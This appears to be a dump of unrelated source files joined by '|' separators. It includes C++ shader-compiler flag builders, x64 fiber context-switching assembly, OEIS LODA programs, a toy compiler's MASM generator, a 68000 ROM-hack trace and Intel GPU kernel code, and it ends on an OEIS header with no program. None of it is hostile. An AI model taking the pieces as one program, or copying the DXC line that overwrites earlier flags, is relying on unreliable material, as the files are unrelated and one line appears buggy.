bool ShaderCompilerArguments::HasDifferentAzslcArguments(const ShaderCompilerArguments& right) const
{
auto isSet = +[](uint8_t level) { return level != LevelUnset; };
return (isSet(m_azslcWarningLevel) && isSet(right.m_azslcWarningLevel) && (m_azslcWarningLevel != right.m_azslcWarningLevel)) // both set and different
|| (m_azslcWarningAsError != right.m_azslcWarningAsError)
|| !right.m_azslcAdditionalFreeArguments.empty();
}
//! Generate the proper command line for AZSLc
AZStd::string ShaderCompilerArguments::MakeAdditionalAzslcCommandLineString() const
{
AZStd::string arguments;
if (m_defaultMatrixOrder == MatrixOrder::Column)
{
arguments += " --Zpc";
}
else if (m_defaultMatrixOrder == MatrixOrder::Row)
{
arguments += " --Zpr";
}
if (!m_azslcAdditionalFreeArguments.empty())
{
// strip spaces at both sides
AZStd::string azslcFreeArguments = m_azslcAdditionalFreeArguments;
AzFramework::StringFunc::TrimWhiteSpace(azslcFreeArguments, true, true);
if (!azslcFreeArguments.empty())
{
arguments += " " + azslcFreeArguments;
}
}
return arguments;
}
//! Warnings are separated from the other arguments because not all AZSLc modes can support passing these.
AZStd::string ShaderCompilerArguments::MakeAdditionalAzslcWarningCommandLineString() const
{
AZStd::string arguments;
if (m_azslcWarningAsError)
{
arguments += " --Wx";
}
if (m_azslcWarningLevel <= 3)
{
arguments += " --W" + AZStd::to_string(m_azslcWarningLevel);
}
return arguments;
}
//! generate the proper command line for DXC
AZStd::string ShaderCompilerArguments::MakeAdditionalDxcCommandLineString() const
{
AZStd::string arguments;
if (m_dxcDisableWarnings)
{
arguments += " -no-warnings";
}
else if (m_dxcWarningAsError)
{
arguments += " -WX";
}
if (m_dxcDisableOptimizations)
{
arguments += " -Od";
}
else if (m_dxcOptimizationLevel <= 3)
{
arguments = " -O" + AZStd::to_string(m_dxcOptimizationLevel);
}
if (m_defaultMatrixOrder == MatrixOrder::Column)
{
arguments += " -Zpc";
}
else if (m_defaultMatrixOrder == MatrixOrder::Row)
{
arguments += " -Zpr";
}
if (m_dxcGenerateDebugInfo)
{
arguments += " -Zi"; // Generate debug information
arguments += " -Zss"; // Compute Shader Hash considering source information
}
arguments += " " + m_dxcAdditionalFreeArguments;
return arguments;
}
}
}
|
; Copyright Oliver Kowalke 2009.
; Distributed under the Boost Software License, Version 1.0.
; (See accompanying file LICENSE_1_0.txt or copy at
; http://www.boost.org/LICENSE_1_0.txt)
;
; Boost Software License - Version 1.0 - August 17th, 2003
;
; Permission is hereby granted, free of charge, to any person or organization
; obtaining a copy of the software and accompanying documentation covered by
; this license (the "Software") to use, reproduce, display, distribute,
; execute, and transmit the Software, and to prepare derivative works of the
; Software, and to permit third-parties to whom the Software is furnished to
; do so, all subject to the following:
;
; The copyright notices in the Software and this entire statement, including
; the above license grant, this restriction and the following disclaimer,
; must be included in all copies of the Software, in whole or in part, and
; all derivative works of the Software, unless such copies or derivative
; works are solely in the form of machine-executable object code generated by
; a source language processor.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT
; SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE
; FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE,
; ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
; DEALINGS IN THE SOFTWARE.
;;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; declaration
;;
; exit(value)
extern _exit:proc
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; implementation
;;
.code
; make context (refer to boost.context)
;
;
; -----------------------------------------------------------------------------------------
; stackdata: | | context |||||||
; -----------------------------------------------------------------------------------|-----
; (16-align)
;
;
; ---------------------------------------
; context: | fiber | dealloc | limit | base |
; ---------------------------------------
; 0 8 16 24
;
; ---------------------------------------
; | r12 | r13 | r14 | r15 |
; ---------------------------------------
; 32 40 48 56 ---------------------------------------
; | |
; func __end | __entry arguments retval(from)
; --------------------------------------------------------------------------------------------------------------------------
; | rdi | rsi | rbx | rbp | retval(saved) | rip | unused | context(unused) | priv(unused) | padding |
; --------------------------------------------------------------------------------------------------------------------------
; 64 72 80 88 96 104 112 120 128 136
; |
; | 16-align
; |
; rsp when jump to function
;
;
; @param stackdata the stack data (rcx)
; @param stacksize the stack size (rdx)
; @param func the entry function (r8)
;
; @return the context pointer (rax)
;;
tb_context_make proc frame
; .xdata for a function's structured exception handling unwind behavior
.endprolog
; save the stack top to rax
mov rax, rcx
add rax, rdx
; reserve space for first argument(from) and retval(from) item of context-function
; 3 * 8 = 24
sub rax, 24
; 16-align of the stack top address
and rax, -16
; reserve space for context-data on context-stack
sub rax, 112
; context.rbx = func
mov [rax + 80], r8
; save bottom address of context stack as 'limit'
mov [rax + 16], rcx
; save address of context stack limit as 'dealloction stack'
mov [rax + 8], rcx
; save top address of context stack as 'base'
add rcx, rdx
mov [rax + 24], rcx
; init fiber-storage to zero
xor rcx, rcx
mov [rax], rcx
; init context.retval(saved) = a writeable space (unused)
;
; it will write context (unused) and priv (unused) when jump to a new context function entry first
;;
lea rcx, [rax + 128]
mov [rax + 96], rcx
; context.rip = the address of label __entry
lea rcx, __entry
mov [rax + 104], rcx
; context.end = the address of label __end
lea rcx, __end
mov [rax + 88], rcx
; return pointer to context-data
ret
__entry:
; patch return address (__end) on stack
push rbp
; jump to the context function entry(rip)
;
;
;
; -----------------------------------------------------------------
; context: .. | end | unused | context(unused) | priv(unused) | padding |
; -----------------------------------------------------------------
; 0 8 arguments
; |
; rsp 16-align
; (now)
;;
jmp rbx
__end:
; exit(0)
xor rcx, rcx
call _exit
hlt
tb_context_make endp
; jump context (refer to boost.context)
;
; @param retval the from-context (rcx)
; @param context the to-context (rdx)
; @param priv the passed user private data (r8)
;
; @return the from-context (retval: rcx)
;;
tb_context_jump proc frame
; .xdata for a function's structured exception handling unwind behavior
.endprolog
; save the hidden argument: retval (from-context)
push rcx
; save registers and construct the current context
push rbp
push rbx
push rsi
push rdi
push r15
push r14
push r13
push r12
; load TIB
mov r10, gs:[030h]
; save current stack base
mov rax, [r10 + 08h]
push rax
; save current stack limit
mov rax, [r10 + 010h]
push rax
; save current deallocation stack
mov rax, [r10 + 01478h]
push rax
; save fiber local storage
mov rax, [r10 + 018h]
push rax
; save the old context(esp) to r9
mov r9, rsp
; switch to the new context(esp) and stack
mov rsp, rdx
; load TIB
mov r10, gs:[030h]
; restore fiber local storage
pop rax
mov [r10 + 018h], rax
; restore deallocation stack
pop rax
mov [r10 + 01478h], rax
; restore stack limit
pop rax
mov [r10 + 010h], rax
; restore stack base
pop rax
mov [r10 + 08h], rax
; restore registers of the new context
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
; restore retval (saved) to rax
pop rax
; restore the return or function address(r10)
pop r10
; return from-context(retval: [rcx](context: r9, priv: r8)) from jump
;
; it will write context (unused) and priv (unused) when jump to a new context function entry first
;;
mov [rax], r9
mov [rax + 8], r8
; pass old-context(rcx(context: r9, priv: r8)) arguments to the context function
;
; tb_context_from_t from;
; func(from)
;
; lea rcx, address of from
; rcx.context = r9
; rcx.priv = r8
; call func
;;
mov rcx, rax
; jump to the return or function address(rip)
;
;
;
; -----------------------------------------------------------------
; context: .. | end | unused | context(unused) | priv(unused) | padding |
; -----------------------------------------------------------------
; 0 8 arguments
; | |
; rsp 16-align
; (now)
;;
jmp r10
tb_context_jump endp
end
|
; A096045: a(n) = B(2*n,2)/B(2*n) (see comment).
; 1,10,46,190,766,3070,12286,49150,196606,786430,3145726,12582910,50331646,201326590,805306366,3221225470,12884901886,51539607550,206158430206,824633720830,3298534883326,13194139533310,52776558133246,211106232532990,844424930131966,3377699720527870,13510798882111486,54043195528445950,216172782113783806,864691128455135230,3458764513820540926,13835058055282163710,55340232221128654846,221360928884514619390,885443715538058477566,3541774862152233910270,14167099448608935641086,56668397794435742564350,226673591177742970257406,906694364710971881029630,3626777458843887524118526,14507109835375550096474110,58028439341502200385896446,232113757366008801543585790,928455029464035206174343166,3713820117856140824697372670,14855280471424563298789490686,59421121885698253195157962750,237684487542793012780631851006,950737950171172051122527404030,3802951800684688204490109616126,15211807202738752817960438464510,60847228810955011271841753858046,243388915243820045087367015432190,973555660975280180349468061728766,3894222643901120721397872246915070,15576890575604482885591488987660286,62307562302417931542365955950641150,249230249209671726169463823802564606,996920996838686904677855295210258430
mov $1,4
pow $1,$0
mul $1,3
sub $1,2
mov $0,$1
|
#include "DrillOperationData.h"
FDrillOperationData::FDrillOperationData() {
this->OperationNumber = 0;
this->CarveNoise = 0.00f;
}
|
; A125678: a(0) = 1; for n>0, a(n) = (a(n-1)^2 reduced mod n) + 1.
; 1,1,2,2,1,2,5,5,2,5,6,4,5,13,2,5,10,16,5,7,10,17,4,17,2,5,26,2,5,26,17,11,26,17,18,10,29,28,25,2,5,26,5,26,17,20,33,9,34,30,1,2,5,26,29,17,10,44,23,58,5,26,57,37,26,27,4,17,18,49,22,59,26,20,31,62,45,24,31,14,37,74,65,76,65,61,24,55,34,89,2,5,26,26,19,77,74,45,66,1
mov $2,$0
lpb $0
mov $0,$2
add $1,1
add $3,1
sub $0,$3
pow $1,2
mod $1,$3
lpe
add $1,1
mov $0,$1
|
; A170640: Number of reduced words of length n in Coxeter group on 7 generators S_i with relations (S_i)^2 = (S_i S_j)^49 = I.
; 1,7,42,252,1512,9072,54432,326592,1959552,11757312,70543872,423263232,2539579392,15237476352,91424858112,548549148672,3291294892032,19747769352192,118486616113152,710919696678912,4265518180073472
mov $1,6
pow $1,$0
mul $1,21
div $1,18
mov $0,$1
|
#include "AsmCode.hpp"
int AsmCode::_offset = 0;
int AsmCode::_ifLabelCounter = 0;
std::vector<AsmCode::PAsmCommand> AsmCode::_commands = {};
std::map<std::string, AsmCode::PAsmConstant> AsmCode::_constants = {};
std::map<std::string, std::pair<int, int>> AsmCode::_offsetMap = {};
const AsmCode::AsmCommandsDict_t AsmCode::_asmCommands = {
{ AsmCommands::NoCommand, "" },
{ AsmCommands::Enter, "enter" },
{ AsmCommands::Push, "push" },
{ AsmCommands::Pop, "pop" },
{ AsmCommands::Lea, "lea" },
{ AsmCommands::Mov, "mov" },
{ AsmCommands::Movsx, "movsx" },
{ AsmCommands::Cdq, "cdq" },
{ AsmCommands::Jump, "jmp" },
{ AsmCommands::Jz, "jz" },
{ AsmCommands::Setge, "setge" },
{ AsmCommands::Setg, "setg" },
{ AsmCommands::Setle, "setle" },
{ AsmCommands::Setl, "setl" },
{ AsmCommands::Setne, "setne" },
{ AsmCommands::Sete, "sete" },
{ AsmCommands::Cmp, "cmp" },
{ AsmCommands::Test, "test" },
{ AsmCommands::Add, "add" },
{ AsmCommands::Sub, "sub" },
{ AsmCommands::Imul, "imul" },
{ AsmCommands::Idiv, "idiv" },
{ AsmCommands::Addsd, "addsd" },
{ AsmCommands::Subsd, "subsd" },
{ AsmCommands::Imulsd, "imulsd" },
{ AsmCommands::Idivsd, "idivsd" },
{ AsmCommands::Call, "call" },
{ AsmCommands::Leave, "leave" },
{ AsmCommands::Ret, "ret" },
{ AsmCommands::Exit, "exit" },
{ AsmCommands::End, "end" },
};
const AsmCode::ConstSizesDict_t AsmCode::_constSizes = {
{ ConstSize::DB, "db" },
{ ConstSize::DQ, "dq" },
};
const AsmCode::PrintFormatsDict_t AsmCode::_printFormats = {
{ PrintFormat::Float, "37,102,32,0" },
{ PrintFormat::Integer, "37,100,32,0" },
{ PrintFormat::FloatLn, "37,102,32,10,0" },
{ PrintFormat::IntegerLn, "37,100,32,10,0" },
};
void AsmCode::addCommand(AsmCode::PAsmCommand command) {
_commands.push_back(command);
};
void AsmCode::addConstant(AsmCode::PAsmConstant constant) {
_constants[constant->_name] = constant;
};
void AsmCode::generateStatements(Node::PNode_t node) {
if (node->_type == Node::Type::If ||
node->_token._subClass == Token::SubClass::Assign)
node->generate();
else {
for (auto i : node->_children)
generateStatements(i);
node->generate();
};
}
void AsmCode::generate(std::ostream& os) {
os << "include G:\\masm32\\include\\masm32rt.inc\n\n.xmm\n";
if (_constants.size()) {
os << ".const\n";
for (auto i : _constants)
os << i.second->print().c_str() << "\n\n";
}
os << ".code\n__@function0:\n";
if (_commands.size())
for (auto i : _commands)
os << i->print().c_str() << "\n";
os << "leave\n" << "ret 0\n\n"
<< "start:\n" << "call __@function0\n"
<< "exit\n" << "end start\n";
};
int AsmCode::getTypeSize(Node::PNode_t node) {
if (node->_type == Node::Type::Integer)
return sizeof(int);
else if (node->_type == Node::Type::Float)
return sizeof(double);
return sizeof(int);
};
AsmCommand::AsmCommand(AsmCommands command, std::vector<std::string> args) : _args(args) {
_command = AsmCode::_asmCommands.at(command);
};
std::string AsmCommand::print() {
std::stringstream ss;
ss << _command;
if (_command.length())
ss << " ";
for (auto i = _args.begin(); i != _args.end(); ++i) {
ss << *i;
if (i != _args.end()-1)
ss << ", ";
};
return ss.str();
};
AsmConstant::AsmConstant(std::string name, ConstSize size, PrintFormat format) : _name(name) {
_size = AsmCode::_constSizes.at(size);
_format = AsmCode::_printFormats.at(format);
};
std::string AsmConstant::print() {
std::stringstream ss;
ss << _name << " " << _size << " " << _format;
return ss.str();
};
void IntConst::generate() {
std::vector<std::string> args;
args = { this->toString() };
AsmCode::PAsmCommand cmd = std::make_shared<AsmCommand>(AsmCommands::Push, args);
AsmCode::addCommand(cmd);
};
void Write::generate() {
std::string bytesToClear;
std::vector<std::string> args;
AsmCode::addConstant(std::make_shared<AsmConstant>("__@strfmti", ConstSize::DB, PrintFormat::Integer));
args = { "offset __@strfmti" };
bytesToClear = "8";
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Push, args));
args = { "crt_printf" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Call, args));
args = { "esp", bytesToClear };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Add, args));
};
void WriteLn::generate() {
std::string bytesToClear;
std::vector<std::string> args;
AsmCode::addConstant(std::make_shared<AsmConstant>("__@strfmtiln", ConstSize::DB, PrintFormat::IntegerLn));
args = { "offset __@strfmtiln" };
bytesToClear = "8";
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Push, args));
args = { "crt_printf" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Call, args));
args = { "esp", bytesToClear };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Add, args));
};
void BinaryOperator::generate() {
AsmCommands cmp;
std::vector<std::string> args;
switch (_token._subClass) {
case Token::SubClass::Assign:
_children.front()->generate();
AsmCode::generateStatements(_children.back());
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "dword ptr [ebx]", "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Mov, args));
return;
break;
case Token::SubClass::Add:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax", "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Add, args));
break;
case Token::SubClass::Sub:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax", "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Sub, args));
break;
case Token::SubClass::Mult:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Imul, args));
break;
case Token::SubClass::Div:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Cdq, args));
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Idiv, args));
break;
case Token::SubClass::Less:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax", "ebx" };
cmp = AsmCommands::Setge;
goto label;
case Token::SubClass::LEQ:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax", "ebx" };
cmp = AsmCommands::Setg;
goto label;
case Token::SubClass::More:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax", "ebx" };
cmp = AsmCommands::Setle;
goto label;
case Token::SubClass::MEQ:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax", "ebx" };
cmp = AsmCommands::Setl;
goto label;
case Token::SubClass::Equal:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax", "ebx" };
cmp = AsmCommands::Setne;
goto label;
case Token::SubClass::NEQ:
args = { "ebx" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax", "ebx" };
cmp = AsmCommands::Sete;
label:
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Cmp, args));
args = { "al" };
AsmCode::addCommand(std::make_shared<AsmCommand>(cmp, args));
args = { "al", "1" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Sub, args));
args = { "eax", "al" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Movsx, args));
break;
}
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Push, args));
};
void Identifier::generate() {
std::vector<std::string> args;
args = { "eax", "dword ptr [ebp - " + std::to_string(AsmCode::_offsetMap[toString()].second) + "]" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Lea, args));
if (isAssignment) {
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Push, args));
}
else {
args = { "dword ptr [eax]" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Push, args));
}
};
void If::generate() {
++AsmCode::_ifLabelCounter;
std::vector<std::string> args;
AsmCode::generateStatements(_condition);
std::string elseLabel("else_branch");
elseLabel += std::to_string(AsmCode::_ifLabelCounter);
std::string endLabel("end_if");
endLabel += std::to_string(AsmCode::_ifLabelCounter);
args = { "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Pop, args));
args = { "eax", "eax" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Test, args));
args = { elseLabel };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Jz, args));
AsmCode::generateStatements(_thenBranch);
args = { endLabel };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::Jump, args));
args = { elseLabel + ":" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::NoCommand, args));
AsmCode::generateStatements(_elseBranch);
args = { endLabel + ":" };
AsmCode::addCommand(std::make_shared<AsmCommand>(AsmCommands::NoCommand, args));
};
void For::generate() {
}; |
copyright zengfr site:http://github.com/zengfr/romhack
010A82 clr.b ($7,A3) [enemy+ 6]
010A86 move.b (A4), ($59,A3)
011102 clr.b ($7,A3) [enemy+ 6]
011106 move.b (A4)+, D0
011458 clr.b ($7,A3) [enemy+ 6]
01145C move.b (A4)+, D0
011BF8 clr.b ($7,A3) [enemy+ 6]
011BFC move.b (A4), ($59,A3)
01259E clr.b ($7,A3) [enemy+ 6]
0125A2 move.b (A4)+, D0
02A670 addq.b #2, ($7,A6)
02A674 rts [enemy+ 7, enemy+7]
02A6B2 addq.b #2, ($7,A6)
02A6B6 rts [enemy+ 7, enemy+7]
02A77E addq.b #2, ($7,A6) [enemy+78]
02A782 rts [enemy+ 7, enemy+7]
02A7E4 addq.b #2, ($7,A6) [enemy+1C]
02A7E8 jsr $9796.l [enemy+ 7, enemy+7]
02A838 addq.b #2, ($7,A6)
02A83C rts [enemy+ 7, enemy+7]
02A908 addq.b #2, ($7,A6) [enemy+78]
02A90C rts [enemy+ 7, enemy+7]
02A96E addq.b #2, ($7,A6) [enemy+1C]
02A972 jsr $9796.l [enemy+ 7, enemy+7]
02AAE6 addq.b #2, ($7,A6)
02AAEA tst.b ($59,A6) [enemy+ 7, enemy+7]
02AB6E addq.b #2, ($7,A6) [enemy+1C]
02AB72 jsr $121e.l [enemy+ 7, enemy+7]
02ABEA addq.b #2, ($7,A6)
02ABEE rts [enemy+ 7, enemy+7]
02AD16 addq.b #2, ($7,A6) [enemy+78]
02AD1A jsr $606e.l [enemy+ 7, enemy+7]
02AD70 addq.b #2, ($7,A6) [enemy+1C]
02AD74 jsr $9796.l [enemy+ 7, enemy+7]
02AF3C addq.b #2, ($7,A6)
02AF40 subq.b #1, ($59,A6) [enemy+ 7, enemy+7]
02AF4A addq.b #2, ($7,A6)
02AF4E subq.b #1, ($80,A6) [enemy+ 7, enemy+7]
045F78 move.b #$2, ($7,A6) [enemy+A4]
045F7E moveq #$e, D0 [enemy+ 7, enemy+7]
045FCE move.b #$6, ($7,A6)
045FD4 movea.w ($76,A6), A0 [enemy+ 7, enemy+7]
04600A move.b #$8, ($7,A6)
046010 bsr $46084 [enemy+ 7, enemy+7]
0460BC clr.b ($7,A6)
0460C0 jsr $119c.l [enemy+ 7, enemy+7]
046268 addq.b #2, ($7,A6)
04626C move.b #$1, ($a6,A6) [enemy+ 7, enemy+7]
0462D0 addq.b #2, ($7,A6)
0462D4 bsr $46298 [enemy+ 7, enemy+7]
04645A move.b #$2, ($7,A6)
046460 moveq #$1, D0 [enemy+ 7, enemy+7]
0464F0 move.b #$6, ($7,A6)
0464F6 moveq #$d, D0 [enemy+ 7, enemy+7]
046948 move.b #$e, ($7,A6)
04694E jsr $119c.l [enemy+ 7, enemy+7]
copyright zengfr site:http://github.com/zengfr/romhack
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
mov (8|M0) acc0.0<1>:w 0x24060000:v
add (8|M0) acc0.0<1>:w acc0.0<8;8,1>:w 0x1C:uw
shl (4|M0) r22.4<1>:w acc0.4<4;4,1>:w 0x5:uw
mov (1|M0) f0.0<1>:uw r24.0<0;1,0>:ub
(W&~f0.0)jmpi L800
L80:
mov (8|M0) r16.0<1>:ud r0.0<8;8,1>:ud
mov (8|M0) r17.0<1>:ud r26.0<8;8,1>:ud
mov (1|M0) r16.2<1>:ud 0xE000:ud
cmp (1|M0) (eq)f1.0 null.0<1>:w r24.2<0;1,0>:ub 0x1:uw
add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0x43EA100:ud
(~f1.0) mov (1|M0) r17.2<1>:f r9.1<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r9.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r9.1<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r9.3<0;1,0>:f
send (1|M0) r28:uw r16:ub 0x2 a0.0
(~f1.0) mov (1|M0) r17.2<1>:f r9.6<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r9.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r9.6<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r9.3<0;1,0>:f
send (1|M0) r37:uw r16:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0x43EA201:ud
(~f1.0) mov (1|M0) r17.2<1>:f r9.1<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r9.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r9.1<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r9.3<0;1,0>:f
send (1|M0) r32:uw r16:ub 0x2 a0.0
(~f1.0) mov (1|M0) r17.2<1>:f r9.6<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r9.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r9.6<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r9.3<0;1,0>:f
send (1|M0) r41:uw r16:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r24.5<0;1,0>:ud 0x43EA302:ud
(~f1.0) mov (1|M0) r17.2<1>:f r9.1<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r9.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r9.1<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r9.3<0;1,0>:f
send (1|M0) r34:uw r16:ub 0x2 a0.0
(~f1.0) mov (1|M0) r17.2<1>:f r9.6<0;1,0>:f
(~f1.0) mov (1|M0) r17.3<1>:f r9.5<0;1,0>:f
(f1.0) mov (1|M0) r17.2<1>:f r9.6<0;1,0>:f
(f1.0) mov (1|M0) r17.3<1>:f r9.3<0;1,0>:f
send (1|M0) r43:uw r16:ub 0x2 a0.0
mov (16|M0) r30.0<1>:uw 0xFFFF:uw
mov (16|M0) r31.0<1>:uw 0xFFFF:uw
mov (16|M0) r39.0<1>:uw 0xFFFF:uw
mov (16|M0) r40.0<1>:uw 0xFFFF:uw
mov (1|M0) a0.8<1>:uw 0x380:uw
mov (1|M0) a0.9<1>:uw 0x400:uw
mov (1|M0) a0.10<1>:uw 0x440:uw
add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x120:uw
L800:
nop
|
; Dummy function to keep rest of libs happy
;
; $Id: readbyte.asm,v 1.5 2016/03/06 21:39:54 dom Exp $
;
SECTION code_clib
PUBLIC readbyte
PUBLIC _readbyte
.readbyte
._readbyte
ret
|
; A142889: Primes congruent to 1 mod 63.
; Submitted by Jon Maiga
; 127,379,631,757,883,1009,2017,2143,2269,2521,2647,3529,3907,4159,4663,4789,5167,5419,5923,6301,6427,6553,6679,7057,7309,7561,7687,8191,8317,8443,8821,9199,9829,10333,10459,10711,10837,11467,11593,11719,11971,12097,12601,12853,12979,14869,15121,15373,15877,16381,16633,16759,17011,17137,17389,18397,18523,19531,20161,20287,21169,21673,21799,22051,22303,22807,23059,23311,23563,23689,24571,24697,25453,25579,26083,26209,26713,26839,27091,27847,28099,28351,28477,28603,28729,29611,29863,29989,30241
mov $1,3
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
add $1,$4
mul $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,39
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
mul $4,3
lpe
mov $0,$1
sub $0,166
mul $0,3
add $0,373
|
; A100617: There are n people in a room. The first half (i.e., floor(n/2)) of them leave, then 1/3 (i.e., floor of 1/3) of those remaining leave, then 1/4, then 1/5, etc.; sequence gives number who remain at the end.
